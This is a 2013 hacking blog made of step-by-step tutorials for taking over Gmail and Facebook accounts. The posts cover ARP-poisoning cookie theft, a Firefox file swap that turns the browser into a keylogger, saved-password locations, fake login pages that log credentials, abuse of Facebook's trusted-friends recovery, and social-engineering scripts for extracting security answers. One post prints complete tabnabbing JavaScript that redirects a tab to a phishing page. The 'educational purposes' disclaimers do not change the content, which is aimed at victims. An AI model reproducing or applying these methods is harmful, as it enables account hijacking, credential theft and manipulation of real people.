Computer Expert

Hacking Gmail Account With GX Cookie

2013-02-18T06:22:00.000-08:00

Introduction:
Hacking web application was always curious for the script kiddies. And hacking free web email account is every geek first attempt. The method which I will describe in this post is not new; the same method can be applied to yahoo and other free web email services too.

The method we will be using is cookie stealing and replaying the same back to the Gmail server. There are many ways you can steal cookie, one of them is XSS (Cross site scripting) discussed by other is earlier post. But we won’t be using any XSS here, in our part of attack we will use some local tool to steal cookie and use that cookie to get an access to Gmail account.

Assumption:

You are in Local Area Network (LAN) in a switched / wireless environment : example : office , cyber café, Mall etc.
You know basic networking.

Tool used for this attack:

Cain & Abel
Network Miner
Firefox web browser with Cookie Editor add-ons

Attack in detail:

We assume you are connected to LAN/Wireless network. Our main goal is to capture Gmail GX cookie from the network. We can only capture cookie when someone is actually using his gmail. I’ve noticed normally in lunch time in office, or during shift start people normally check their emails. If you are in cyber café or in Mall then there are more chances of catching people using Gmail.

We will go step by step,
If you are using Wireless network then you can skip this Step A.

A] Using Cain to do ARP poisoning and routing:

Switch allows unicast traffic mainly to pass through its ports. When X and Y are communicating eachother in switch network then Z will not come to know what X & Y are communicating, so inorder to sniff that communication you would have to poison ARP table of switch for X & Y. In Wireless you don’t have to do poisoning because Wireless Access points act like HUB which forwards any communication to all its ports (recipients).

Start Cain from Start > Program > Cain > Cain
Click on Start/Stop Snigger tool icon from the tool bar, we will first scan the network to see what all IPs are used in the network and this list will also help us to launch an attack on the victim.
Then click on Sniffer Tab then Host Tab below. Right click within that spreadsheet and click on Scan Mac Addresses, from the Target section select

All hosts in my subnet and then press Ok. This will list all host connected in your network. You will notice you won’t see your Physical IP of your machine in that list.
How to check your physical IP ?
> Click on start > Run type cmd and press enter, in the command prompt type
Ipconfig and enter. This should show your IP address assign to your PC.
It will have following outputs:

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix . : xyz.com
IP Address. . . . . . . . . . . . : 192.168.1.2
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1
Main thing to know here is your IP address and your Default Gateway.

Make a note of your IP Address & default gateway. From Cain you will see list of IP addresses, here you have to choose any free IP address which is not used anywhere. We assume IP 192.168.1.10 is not used anywhere in the network.

Click on Configure > APR > Use Spoof ed IP and MAC Address > IP

Type in 192.168.1.10 and from the poisoning section click on "Use ARP request Packets” and click on OK.

Within the Sniffer Tab , below click on APR Tab, from the left hand side click on APR and now click on the right hand top spreadsheet then click on plus sign tool from top. The moment you click that it will show you list of IP address on left hand side. Here we will target the victim IP address and the default gateway.

The purpose is to do ARP poisoning between victim and the default gateway and route the victim traffic via your machine. From the left side click on Victim IP address, we assume victim is using 192.168.1.15. The moment you click on victim IP you will see remaining list on the right hand side here you have to select default gateway IP address i.e. 192.168.1.1 then click on OK.

Finally, Click on Start/Stop Sniffer tool menu once again and next click on Start/Stop APR. This will start poisoning victim and default gateway.

B] Using Network Miner to capture cookie in plain text

We are using Network miner to capture cookie, but Network miner can be used for manythings from capturing text , image, HTTP parameters, files. Network Miner is normally used in Passive reconnaissance to collect IP, domain and OS finger print of the connected device to your machine. If you don’t have Network miner you can use any other sniffer available like Wireshark, Iris network scanner, NetWitness etc.

We are using This tool because of its ease to use.

Open Network Miner by clicking its exe (pls note it requires .Net framework to work).
From the "---Select network adaptor in the list---" click on down arrow and select your adaptor If you are using Ethernet wired network then your adaptor would have Ethernet name and IP address of your machine and if you are using wireless then adaptor name would contain wireless and your IP address. Select the one which you are using and click on start.

Important thing before you start this make sure you are not browsing any websites, or using any Instant Mesaging and you have cleared all cookies from firefox.

Click on Credential Tab above. This tab will capture all HTTP cookies , pay a close look on "Host” column you should see somewhere mail.google.com. If you could locate mail.google.com entry then in the same entry right click at Username column and click on "copy username” then open notepad and paste the copied content there.
Remove word wrap from notepad and search for GX in the line. Cookie which you have captured will contain many cookies from gmail each would be separated by semicolon ( GX cookie will start with GX= and will end with semicolon you would have to copy everything between = and semicolon

Example : GX= axcvb1mzdwkfefv ; ßcopy only axcvb1mzdwkfefv

Now we have captured GX cookie its time now to use this cookie and replay the attack and log in to victim email id, for this we will use firefox and cookie editor add-ons.

C] Using Firefox & cookie Editor to replay attack.

Open Firefox and log in your gmail email account.
from firefox click on Tools > cookie Editor.
In the filter box type .google.com and Press Filter and from below list search for cookiename GX. If you locate GX then double click on that GX cookie and then from content box delete everything and paste your captured GX cookie from stepB.4 and click on save and then close.
From the Address bar of Firefox type mail.google.com and press enter, this should replay victim GX cookie to Gmail server and you would get logged in to victim Gmail email account.
Sorry! You can’t change password with cookie attack.

How to be saved from this kind of attack?
Google has provided a way out for this attack where you can use secure cookie instead of unsecure cookie. You can enable secure cookie option to always use https from Gmail settings.
Settings > Browser connection > Always use https

How to Make FireFox as a Key Logger

2013-02-18T06:18:00.002-08:00

Hi Folks.

Most of you Know what is a keylogger ?

But the problem is most keyloggers are demo and buying them costs a lot.

So why not use what we have as what we want ?

This process is too simple to be called a"hack" Still it helps in hacking so Lets Go. !

How it works:

-------------------------

We just change firefox a lil so that each and every password and email typed areautomatically saved.

Later we can use Firepasswordviwer to retrieve the passwords.

Process :

Download the Script link will be provided.

go to " C:/Program Files/Mozilla Firefox/Components"

now search for a file "nsLoginManagerPrompter.js" and backup it or copy it somewhere safe.

Now open the script you've downloaded, there you'll find "nsLoginManagerPrompter.js"paste it to where the original script was.

Done ! Now each and every E-mail and password typed will be saved automatically.

Download the Script from Here

How to get the Details:

Download Free PassWordViwer from here --> Click Here

Install or Run it

Click on "Start Recovery"

Click on "Show Passwords"

Done.!!

All Saved Password Location

2013-02-18T06:08:00.001-08:00

All Saved Password Location

Google Chrome:

Chrome Passwords are stored in a SQLite file the sites name and sites username is in clear text but the password is seeded in a Triple DES algorithm. The file is called Web Data and is stored in the following location

XP – C:\Documents and Settings\Username\Local Settings\Application Data\Google\Chrome\User Data\Default

Vista – C:\Users\Username\Appdata\Local\Google\Chrome\User Data\Default

Trillian:

Note- I have just realised the new version of trillian the passwords made be stored/encrypted differently

Trillian Passwords are stored in .ini files the first character of the password is encrypted with XOR with the key 243 then the password is converted into hex. The file is based on what the password is for so if it was icq it would be icq.ini (for new versions I think they are all stored in a file called accounts.ini or something similar if you open it up with notepad you will see all the data + the encrypted password). The files are stored in the following location:

XP (old version) – C:\Program Files\Trillian\users\

XP (new version) – C:\Documents and Settings\Username\Local Settings\Application Data\Trillian\user\global – I am not sure on exact but it is somewhere their

Vista (old version)- C:\Program Files\Trillian\users\

Vista (new version)- C:\Users\Username\Appdata\Roaming\Trillian\user\gl obal

MSN /Windows Live Messenger:

MSN Messenger version 7.x: The passwords are stored under HKEY_CURRENT_USER\Software\Microsoft\IdentityCRL\C reds\[Account Name]

Windows Live Messenger version 8.x/9.x: The passwords are stored in the Credentials file, with entry name begins with "WindowsLive:name=”. They a set of Win API functions (Credential API’s) to store its’ security data (Credentials). These functions store user information, such as names and passwords for the accounts (Windows Live ID credentials). Windows Live ID Credential records are controlled by the operating system for each user and for each session. They are attached to the "target name” and "type”. If you are familiar with SQL you can think of target name and type as the primary key. Table below lists most frequently used fields in Windows Live ID Credential records.

Paltalk:

Paltalk Passwords are using the same password encryption algorithm. Paltalk passwords are stored in the registry. To encrypt the new password Paltalk looks at the serial number of the disk C:\ and performs a mix with the Nickname. The resulting string is then mixed again with the password and some other constants. The final string is then encoded and written to the registry.

AIM, ICQ and Yahoo Messenger passwords that are stored by Paltalk are encoded by BASE64 algorithm.

The passwords are stored in the Registry, under HKEY_CURRENT_USER\Software\Paltalk\[Account Name]

Google Talk:

Google Talk passwords are encoded/decoded using Crypto API. Encrypted Gmail passwords are stored by Google Talk in the registry under HKEY_CURRENT_USER\Software\Google\Google

Talk\Accounts\[Account Name]

Firefox:

The passwords are stored in one of the following filenames: signons.txt, signons2.txt, and signons3.txt (depends on Firefox version)

These password files are located inside the profile folder of Firefox, in [Windows Profile]\Application Data\Mozilla\Firefox\Profiles\[Profile Name]

Also, key3.db, located in the same folder, is used for encryption/decription of the passwords.

Yahoo Messenger 6.x:

The password is stored in the Registry, under HKEY_CURRENT_USER\Software\Yahoo\Pager

(”EOptions string” value)

Yahoo Messenger 7.5 or later:

The password is stored in the Registry, under HKEY_CURRENT_USER\Software\Yahoo\Pager – "ETS” value.

The value stored in "ETS” value cannot be recovered back to the original password.

AIM:

AIM uses Blowfish and base64 algorithms to encrypt the AIM passwords.

448-bit keyword is used to encrypt the password with Blowfish. The encrypted string is then encoded using base64. The passwords are stored in the Registry, under HKEY_CURRENT_USER\Software\America Online\AIM6\Passwords

Filezilla:

Passwords are stored in a .xml file located in Filezilla on appdata their is sources for this

Internet Explorer 4.00 – 6.00:

The passwords are stored in a secret location in the Registry known as the "Protected Storage”.

The base key of the Protected Storage is located under the following key:

"HKEY_CURRENT_USER\Software\Microsoft\Protected Storage System Provider”.

You can browse the above key in the Registry Editor (RegEdit), but you won’t be able to watch the passwords, because they are encrypted.

Also, this key cannot easily moved from one computer to another, like you do with regular Registry keys.

Internet Explorer 7.00 – 8.00:

The new versions of Internet Explorer stores the passwords in 2 different locations.

AutoComplete passwords are stored in the Registry under HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2.

HTTP Authentication passwords are stored in the Credentials file under Documents and Settings\Application Data\Microsoft\Credentials , together with login passwords of LAN computers and other passwords.

Opera:

The passwords are stored in wand.dat filename, located under [Windows Profile]\Application Data\Opera\Opera\profile

Outlook Express (All Versions):

The POP3/SMTP/IMAP passwords Outlook Express are also stored in the Protected Storage, like the passwords of old versions of Internet Explorer.

Outlook 98/2000:

Old versions of Outlook stored the POP3/SMTP/IMAP passwords in the Protected Storage, like the passwords of old versions of Internet Explorer.

Outlook 2002-2008:

All new versions of Outlook store the passwords in the same Registry key of the account settings.

The accounts are stored in the Registry under HKEY_CURRENT_USER\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\[Profile Name]\9375CFF0413111d3B88A00104B2A6676\[Account Index]

If you use Outlook to connect an account on Exchange server, the password is stored in the Credentials file, together with login passwords of LAN computers.

ThunderBird:

The password file is located under [Windows Profile]\Application Data\Thunderbird\Profiles\[Profile Name]

You should search a filename with .s extension.

Digsby:

The main password of Digsby is stored in [Windows Profile]\Application Data\Digsby\digsby.dat

All other passwords are stored in Digsby servers

Hack Your Friend's PRofile Pic In Facebook

2013-02-18T04:52:00.003-08:00

Hello my friends today i will show you a private method i discovered in Facebook ^_^

as i posted in the past the method how to hack status of Facebook Click

Now it's different you can change the default pic of your victim ^_^ how ?

Easy send this link to your victim https://m.facebook.com/upload.php?profile_pic&refid=17&_rdr

ask him to give you the email :

So now just open your account Gmail then send him a message ,put the email he gave you , then attach the pic you want to see in his profile in the message then go and check his profile . .Enjoy Hacking.

Hack Facebook (All MEthods)

2013-02-17T00:28:00.000-08:00

So You Guys wanna Learn Facebook Hacking. ..How to Hack Facebook Accounts Easily Yeah And I Mean It.
So Here Goes All Methods Of Facebook Hacking From Zero To One .. .
Let's Go.
Before Starting I Think You Guys All Know What Is Facebook How To Use It .. That's Why You Are Here.
So Before Starting Let me Clear One thing There's No Such Software Exists Which Will Hack Facebook for You

The Only Two Methods By Which You Can Hack Facebook Is

Hire A Professional Hacker Who Will Hack For You
Or Just Learn All These Methods which i'm Gonna Provide you

Facebook Hacking Methods Are Following:

1. Session Hijacking Attack

2. Facebook Security

3. Cookie Stealing Attack

4. Keylogging

5. Clickjacking

6. Tabnabbing

7. Remote Administration Tools

8. Social Engineering Attack

9. Phishing attack

10. Using 3 Fake Friends Method

Session Hijacking Attack :- What Is Session Hijacking Attack ? Session hijacking, also known as TCP session hijacking, is a method of taking over a Web user session by surreptitiously obtaining the session ID and masquerading as the authorized user. Once the user's session ID has been accessed (through session prediction), the attacker can masquerade as that user and do anything the user is authorized to do on the network.
Click Here To Get In Detail With Session Hijacking:- Click Me

Facebook Security :- When you bookmark the URL for Facebook or any of your other social networks, be sure to use HTTPS instead of HTTP. This encrypts your communications.

In fact, you will have to temporarily disable this feature any time you give access to a new application. That alone should give you confidence that you have achieved a greater level of protection.
Click Here To Get In Detail With Facebook Security:- Click Me

Cookie Stealing Attack :- In this tutorial i will explain how you can hack a Facebook/twitter accounts by stealing cookies. This method works only when the victims computer is in a LAN (local area network ).Best place to try out this is in schools ,collages ,cafes . where computers are connected in LAN .Before i proceed let me first...
Click Here To Get In Detail With Cookie Stealing Attack :- Click Me

Keylogging :- What Is Keyloggers? Using key logger utility you will be able to establish full control over your computer. You will also find out, what was going on your computer in your absence: what was run and typed etc which act as best children internet protection software. Using the keylogging program constantly,...
Click Here To Get In Detail With Keylogging:- Click Me

Clickjacking :- What is Clickjacking? Clickjacking is a technique used by hackers or spammers to trick or cheat the users into clicking on links or buttons that are hidden from normal view (usually links color is same as page background). Clickjacking is possible because of a security weakness in web browsers that allows...
Click Here To Get In Detail With Clickjacking :- Click Me

Tabnabbing :- Hey friends,It's Chris Defaulter Valentine.An Microsoft Certified Systems Engineer (MCSE),Internet Marketer IIT hacker I Have 10 Years' Experience Circumventing Information Security Measures And Can Report That I've Successfully Compromised All Systems That I Targeted For Unauthorized Access Except One. I Have...
Click Here To Get In Detail With Tabnabbing :- Click Me

Remote Administration Tools :- A remote administration tool (or RAT) is a program that allows certain persons to connect to and manage remote computers in the Internet or across a local network. A remote administration tool is based on the server and client technology. The server part runs on a controlled computer and receives commands...
Click Here To Get In Detail With Remote Administration Tools :- Click Me

Social Engineering Attack :- I myself have had a few people in the past ask me questions on social engineering. I always say to anyone, you need to imagine social engineering as a game. But before i talk about the 'Game', I want to go into detail about Basic knowledge and self preparation. Basic knowledge and self preparation: It's...
Click Here To Get In Detail With Social Engineering Attack :- Click Me

Phishing attack :- Phishing - is an e-mail fraud method in which the perpetrator sends out legitimate-looking email in an attempt to gather personal and financial information from recipients. Typically, the messages appear to come from well known and trustworthy Web sites. Web sites that are frequently spoofed by phishers include...
Click Here To Get In Detail With Phishing attack :- Click Me

Using 3 Fake Friends Method :- Hack Facebook Account" is most popular term is the in Web, Previously I posted many articles on "Hack Facebook Accounts" with Keyloggers, phishing, etc but that Hacking Of Facebook Account methods are not working fine now a days. So Hackers have to go smarter and we have found a new security hole (its just...
Click Here To Get In Detail With Using 3 Fake Friends Method :- Click Me

Note: This tutorial is only for Educational Purposes, I did not take any responsibility of any misuse, you will be solely responsible for any misuse that you do. Hacking email accounts is criminal activity and is punishable under cyber crime and you may get up to 40 years of imprisonment, if got caught in doing so.

Hacking Facebook Account Using Phising Attack

2013-02-17T00:09:00.002-08:00

Phishing - is an e-mail fraud method in which the perpetrator sends out legitimate-looking email in an attempt to gather personal and financial information from recipients. Typically, the messages appear to come from well known and trustworthy Web sites. Web sites that are frequently spoofed by phishers include PayPal, eBay, MSN, Yahoo, BestBuy, and America Online. A phishing expedition, like the fishing expedition it's named for, is a speculative venture: the phisher puts the lure hoping to fool at least a few of the prey that encounter the bait.

1. First a fall you need a fake login page for facebook (fake.html),and a Php script to redirect and capture the victims passwords (login.php)
2. Download Here - Click Me

Password - @hackaholic

After you download the files, Open login.php,with a note pad and search for the term www.enteryoursite.com and replace it with the site address where you want the victim to be redirected ,finally save it.

Note : This a very important step redirect the victim to a proper site other wise the victim will get suspicious .In our case we are making fake face book login page so its better to redirect the victim to www.facebook.com/careers

4. Now create an account at Free web hosting site like 110mb.com , T35.com or ripway.com

5. Now upload both the files (fake.html , login.php ) to your hosting account and send the fake.html(fake facbook login page) link to your victim

Example:- www.yoursite.110 mb.com/fake.html

6. Now when the victim enters all his credentials, like login name and password in our fake login page and when he clicks login He will be redirected to site which we did in step 3

7. Now to see the victims id ,password, login to your hosting account "110mb.com " where you will see a new file "log.txt" .Open it to see the victims user id and the password

Note:- If your still confused, you can watch my video on Hack a Facebook Account Using a Fake login Page

This is a simple but a very effective method to Hack face book accounts .If you have any doubts please feel free to comment !!

Note: This tutorial is only for Educational Purposes, I did not take any responsibility of any misuse, you will be solely responsible for any misuse that you do. Hacking email accounts is criminal activity and is punishable under cyber crime and you may get upto 40 years of imprisonment, if got caught in doing so.

Hack Facebook Account Using 3 Friend Method

2013-02-17T00:04:00.003-08:00

Hack Facebook Account" is most popular term is the in Web, Previously I posted many articles on "Hack Facebook Accounts" with Keyloggers, phishing, etc but that Hacking Of Facebook Account methods are not working fine now a days. So Hackers have to go smarter and we have found a new security hole (its just a trick) in the FB. So we can Hack Facebook easily. Now we can hack Facebook online with the help of new password recovery feature of FB. So keep on reading about this new way for Hacking Of Facebook Account. FB recently released new way to Recover Account Password using "Three Trusted Friends" . If we forgot the Facebook account password then FB will send unique security code to three friends. Then we have to ask that security code to each three friend. And after giving that codes to FB we can recover the Facebook password. We can use this feature to Hack Facebook Account Free So here we are going to misuse this new feature of FB to Hack Facebook Account. We have to just create 3 fake Fb accounts and then have to send the friend request from those 3 fake accounts to the victim. Victim must accept those friend request. Now we can use this above "Three Trusted Friend" feature to reset the victims' Facebook account password. I have given a full guide on How To Hack Facebook Accounts.

Note - The 3 fake account must be 7 day older, otherwise this Facebook Hack will not work So lets start on our tutorial on Hack Facebook Account.

1. Go to Facebook.com and click on Forgot Password.

2. Now give the victim's Facebook account email or if give the FB username or Profile name and click on search. And then you will get the victims profile account. Just click on "This is my Account".

3. Then click on "No longer have access to this".

4. Now you will be asked to enter new email address, just enter your own new email address.

5. Now Facebook will ask you to give security question's answer. Not to worry, just enter wrong answer thrice and you will be taken to the new page.

6. Here is the main part of Hacking Of Facebook Account. Click on Continue and FB will ask you to select 3 Trusted Friends. Their will be a full friend's list of the victim which also includes your previously created "Three Fake Facebook Account" . Just select that three accounts and then Facebook will send security codes to our fake accounts. Now collect those security codes and enter it. Then Facebook will send "Password Recovery Email" at the email address we entered in 4th step. Thus you can easily reset the password of victim's account.

No we have successfully done with Hack Facebook Accounts

Note : We have received the problems like they don't get the new page in

step 5. So this depends on the victim's activity on Facebook account.

So friends, I hope you enjoyed this article on Hack Facebook Accounts and if you have any problem with this Hack Facebook Account Free then please do comment.

Note: This tutorial is only for Educational Purposes, I did not take any responsibility of any misuse, you will be solely responsible for any misuse that you do. Hacking email accounts is criminal activity and is punishable under cyber crime and you may get up to 40 years of imprisonment, if got caught in doing so.

Hacking FB Account Using Tabnapping

2013-02-17T00:03:00.000-08:00

Hey friends,It's Chris Defaulter Valentine.An Microsoft Certified Systems Engineer (MCSE),Internet Marketer IIT hacker I Have 10 Years' Experience Circumventing Information Security Measures And Can Report That I've Successfully Compromised All Systems That I Targeted For Unauthorized Access Except One. I Have Two Years' Experience As a Private Investigator, And My Responsibilities Included Finding People And Their Money, Primarily Using Social Engineering Techniques. today i am going to How to Hack emails, social networking websites and other websites involving login information. The technique that i am going to teach you today is Advanced Tabnabbing. I have already explained what is basic tabnabbing today we will extend our knowledge base, i will explain things with practical example. So lets learn..

1. A hacker say(me Chris) customizes current webpage by editing/adding some new parameters and variables.( check the code below for details)

2. I sends a copy of this web page to victim whose account or whatever i want to hack.

3. Now when user opens that link, a webpage similar to this one will open in iframe containing the real page with the help of java script.

4. The user will be able to browse the website like the original one, like forward backward and can navigate through pages.

5. Now if victim left the new webpage open for certain period of time, the tab or website will change to Phish Page or simply called fake page which will look absolutely similarly to original one.

6. Now when user enter his/her credentials (username/password), he is entering that in Fake page and got trapped in our net that i have laid down to hack him.

Here end's the attack scenario for advanced tabnabbing.

Before coding Part lets first share tips to protect yourself from this kind of attack because its completely undetectable and you will never be able to know that your account is got hacked or got compromised. So first learn how to protect our-self from Advanced Tabnabbing.

Follow below measure to protect yourself from Tabnabbing:

1. Always use anti-java script plugin's in your web browser that stops execution of malicious javascripts. For example: Noscript for Firefox etc.

2. If you notice any suspicious things happening, then first of all verify the URL in the address bar.

3. If you receive any link in the Email or chat message, never directly click on it. Always prefer to type it manually in address bar to open it, this may cost you some manual work or time but it will protect you from hidden malicious URL's.

4. Best way is to use any good web security toolbar like AVG web toolbar or Norton web security toolbar to protect yourself from such attacks.

5. If you use ideveloper or Firebug, then verify the headers by yourself if you find something suspicious.

That ends our security Part. Here ends my ethical hacker duty to notify all users about the attack. Now lets start the real stuff..

Note: Aza Raskin was the first person to propose the technique of tabnabbing and still we follow the same concept. I will just extend his concept to next level.

First sample code for doing tabnabbing with the help of iframes:

<!--
Title: Advanced Tabnabbing using IFRAMES and Java script
Author: Chris Defaulter Valentine ( Anonymous )

-->

<html>
<head><title></title></head>
<style type="text/css">
html {overflow: auto;}
html, body, div, iframe {margin: 0px; padding: 0px; height: 100%; border: none;}
iframe {display: block; width: 100%; border: none; overflow-y: auto; overflow-x: hidden;}
</style>
<body>

<script type="text/javascript">
//----------Set Script Options--------------
var REAL_PAGE_URL = "http://www.google.com/"; //This is the "Real" page that is shown when the user first views this page
var REAL_PAGE_TITLE = "Google"; //This sets the title of the "Real Page"
var FAKE_PAGE_URL = "http://www.hackingloops.com"; //Set this to the url of the fake page
var FAKE_PAGE_TITLE = "HackingLoops| Next Generation Hackers Portal"; //This sets the title of the fake page
var REAL_FAVICON = "http://www.google.com/favicon.ico"; //This sets the favicon. It will not switch or clear the "Real" favicon in IE.
var FAKE_FAVICON = "http://www.hackingloops.com/favicon.ico"; //Set's the fake favicon.
var TIME_TO_SWITCH_IE = "4000"; //Time before switch in Internet Explorer (after tab changes to fake tab).
var TIME_TO_SWITCH_OTHERS = "10000"; //Wait this long before switching .
//---------------End Options-----------------
var TIMER = null;
var SWITCHED = "false";

//Find Browser Type
var BROWSER_TYPE = "";
if(/MSIE (\d\.\d+);/.test(navigator.userAgent)){
BROWSER_TYPE = "Internet Explorer";
}
//Set REAL_PAGE_TITLE
document.title=REAL_PAGE_TITLE;

//Set FAVICON
if(REAL_FAVICON){
var link = document.createElement('link');
link.type = 'image/x-icon';
link.rel = 'shortcut icon';
link.href = REAL_FAVICON;
document.getElementsByTagName('head')[0].appendChild(link);
}

//Create our iframe (tabnab)
var el_tabnab = document.createElement("iframe");
el_tabnab.id="tabnab";
el_tabnab.name="tabnab";
document.body.appendChild(el_tabnab);
el_tabnab.setAttribute('src', REAL_PAGE_URL);

//Focus on the iframe (just in case the user doesn't click on it)
el_tabnab.focus();

//Wait to nab the tab!
if(BROWSER_TYPE=="Internet Explorer"){ //To unblur the tab changes in Internet Web browser
el_tabnab.onblur = function(){
TIMER = setTimeout(TabNabIt, TIME_TO_SWITCH_IE);
}
el_tabnab.onfocus= function(){
if(TIMER) clearTimeout(TIMER);
}
} else {
setTimeout(TabNabIt, TIME_TO_SWITCH_OTHERS);
}

function TabNabIt(){
if(SWITCHED == "false"){
//Redirect the iframe to FAKE_PAGE_URL
el_tabnab.src=FAKE_PAGE_URL;
//Change title to FAKE_PAGE_TITLE and favicon to FAKE_PAGE_FAVICON
if(FAKE_PAGE_TITLE) document.title = FAKE_PAGE_TITLE;

//Change the favicon -- This doesn't seem to work in IE
if(BROWSER_TYPE != "Internet Explorer"){
var links = document.getElementsByTagName("head")[0].getElementsByTagName("link");
for (var i=0; i<links.length; i++) {
var looplink = links[i];
if (looplink.type=="image/x-icon" && looplink.rel=="shortcut icon") {
document.getElementsByTagName("head")[0].removeChild(looplink);
}
}
var link = document.createElement("link");
link.type = "image/x-icon";
link.rel = "shortcut icon";
link.href = FAKE_FAVICON;
document.getElementsByTagName("head")[0].appendChild(link);
}
}
}
</script>

</body>
</html>

Now what you need to replace in this code to make it working say for Facebook:

1. REAL_PAGE_URL : www.facebook.com
2. REAL_PAGE_TITLE : Welcome to Facebook - Log In, Sign Up or Learn More
3. FAKE_PAGE_URL : Your Fake Page or Phish Page URL
4. FAKE_PAGE_TITLE : Welcome to Facebook - Log In, Sign Up or Learn More
5. REAL_FAVICON : www.facebook.com/favicon.ico
6. FAKE_FAVICON : Your Fake Page URL/favicon.ico ( Note: Its better to upload the facebook favicon, it will make it more undetectable)
7. BROWSER_TYPE : Find which web browser normally user uses and put that name here in quotes.
8. TIME_TO_SWITCH_IE : Put numeric value (time) after you want tab to switch.
9. TIME_TO_SWITCH_OTHERS : Time after which you want to switch back to original 'real' page or some other Page.

Now as i have explained earlier you can use this technique to hack anything like email accounts, Facebook or any other social networking website. What you need to do is that just edit the above mentioned 9 fields and save it as anyname.htm and upload it any free web hosting website along with favicon file and send the link to user in form of email or chat message ( hidden using href keyword in html or spoofed using some other technique).

That's all for today. I hope you all enjoyed some advanced stuff. If you have any doubts or queries ask me in form of comments.
A comment of appreciation will do the work..

Note: This tutorial is only for Educational Purposes, I did not take any responsibility of any misuse, you will be solely responsible for any misuse that you do. Hacking email accounts is criminal activity and is punishable under cyber crime and you may get upto 40 years of imprisonment, if got caught in doing so.

Hacking FB Account Using Social Engineering Attack

2013-02-16T23:57:00.001-08:00

I myself have had a few people in the past ask me questions on social engineering. I always say to anyone, you need to imagine social engineering as a game. But before i talk about the 'Game', I want to go into detail about Basic knowledge and self preparation.

Basic knowledge and self preparation:
It's important like most things in life to be fully equipped and prepared to take on a task. I myself would suggest you have clear outlines of what your trying to achieve, be it to get someone's email password, exploiting them for money, to get into a online game group/clan etc etc. In this case the email and password of Facebook account.

First of all, you need to take into consideration of what you will need, for this social engineering tutorial i'm going to outline this from an obtaining someone's email password perspective. Before i continue, i would like to stress some important factors you might want to take into consideration:

1) People are more open to you if they perceive you as an idiot.
2) People are less suspicious of you when you make them laugh.
3) People are more trusting if you actually take an interest in them.

I'm going to break these three points down to give you a better understanding of why this is:

In the case of 1 - nearly everyone seems to be more careless when they perceive you as an idiot, the main reason for that is, you don't consider someone who appears to be an idiot as a threat. Another reason is that people tend to become more open and arrogant when they feel they are on a higher pedistel than you (never forget that!). Now there are things you need to remember however, although these things are true if you overplay your idiot persona it will not be good in your fortune. Always remember real morons are annoying as hell, you DO NOT want to put off the person your trying to social engineer(unless your trying to fail, then knock yourself out).

In the case of 2 - when talking to someone it's easy to see why this rule is advised. Often it's a good ice breaker, also reinforcing the idea that "your a nice guy", it slowly allows the person to build a relationship of 'trust' with you.

in the case of 3 - also an obvious advisement, if you just pester someone for information without at-least pretending to take an interest in what they are saying, not only will you come across as rude, it will make the person wonder why your probing them for person info.

With these three points made, i will now continue with my example of obtaining someone's Facebook Email and password. Before you go into detail, it's important to outline what you need to successfully social engineer the password out of someone. Now you could try to Social engineer them for their password, I advise you be a bit more intelligent and indirectly social engineer them for their password by obtaining their password recovery knowledge. Now it's important to what you need to successfully hack their account through recovery questions. You will need the following:

~~Their email address~~
~~Their account password~~

With this in mind it's imperative you plan how you will obtain these details. I will tell you how i do it. But first i need you to understand, this whole transaction will not be completed over a course of a day, it can take days to weeks depending on the person. I suggest you talk to them and read them first. If their open, then you can do it within days, if their not then it would be better you spread this out over a week or two. I also want you to imagine what you will say, try to predict their answers and MOST OF ALL, think of a scapegoat on why your probing them for these answers, just in case your less than suttle and arouse suspicion, if they ever suspect you it will go from a flame to a fire it's important to stamp all of their doubt in you as soon as possible.

Now there are many ways you can obtain their password and addressee. Some people and post their address on their profiles. In which case this is easy pickings, however that is rare. So you need to devise a way of obtaining that info. Now you can pretend that you are from bank or something like this and ask for their email address. Or you can pretend that you are some student an doing some research. Be creative

Now i need the answer to their security question, now you need to find out what the question is, i suggest pretend to recover password to see what it is or get the info for all of the recovery questions email asks. Im going to go with the first option and say for example their recovery question was : What is your dogs name?.

How I would go about obtaining this would be to pretend to have a pet of my own, i would start off the convo like so:

me: Ffs my dog wont stop barking, seriously where did i leave my ducktape lol!
victim: lol yeah i know sometimes my dog's the same, annoying -.-
me: Oh you have a dog? i didn't realize whats your dogs name, if you don't mind me asking.

It is important to add "if you don't mind me asking", because it gives the person a bit of power over you and also show's a little respect (once again reinforcing the notion your a nice fellow).

POINT: I wouldn't dive straight into "whats your dogs name" start with the breed first and remember try to predict what they will inturn ask (mines blah blah whats yours?).

With that in mind, I'm sure by now you can see how easy it is, to social engineer someone's password through the indirect method of password recovery. Now obviously most recovery questions wont be about pets mostly they're "mothers maiden name" "place of birth" etc. But use the same logic and work around it, remember think every detail through and ask yourself this if someone gave you this story or asked you in a certain way would it seem legit to you?
and when you have the email address, click on Facebook, I forgot password and will be sent on your email.

The Game:

The game is basically, perfecting "self preparation". Social engineering is a game,. If you think about it in this way: each time trust is given to you, you advance a level, which each level you advance, your ability of obtaining information from this person becomes easier. In a sense mastering the ability to come up with more ingenious ways of manipulating someone, without arousing suspicion, is what separates the lucky noobs from the elites.

When thinking about this as a game, you need to reflect on your goals. As I've mentioned before try to imagine the dialogue between you both, think about how you will obtain certain things and more importantly have clear directives. With this in mind i think we can now talk about how you might want to consider presenting yourself (only applies if the person is indeed a stranger).

So if you were going to go after a complete stranger, you should first try and get as much research on them as you can. For example, age, name. This is important for making up for fake identity. I would also suggest if you social engineer more than one person you write down, in detail! your differn't alias so you don't get confused. Nothing would be worse than using the wrong alias on the wrong person.

When building your identity decide on what would give you the biggest advantage with this person. This can be from faking your age to match the interests of this person, thus giving you the advantage of being able to "click" with the person. Pretending to be a student or in a dead end job for sympathy manipulation or in the case of a dead end job, pretending to relate to the slave. There are many things you can do, as I've mentioned it depends on the circumstances you need.

Social Engineering The Art of Human Hacking ?

Download Link - Click Me

Note: This tutorial is only for Educational Purposes, I did not take any responsibility of any misuse, you will be solely responsible for any misuse that you do. Hacking email accounts is criminal activity and is punishable under cyber crime and you may get upto 40 years of imprisonment, if got caught in doing so.

Hacking Facebook Account Using RAT

2013-02-16T23:55:00.004-08:00

A remote administration tool (or RAT) is a program that allows certain persons to connect to and manage remote computers in the Internet or across a local network. A remote administration tool is based on the server and client technology. The server part runs on a controlled computer and receives commands from the client, which is installed on other remote host. A remote administration tool works in background and hides from the user. The person who controls it can monitor user’s activity, manage files, install additional software, control the entire system including any present application or hardware device, modify essential system settings, turn off or restart a computer

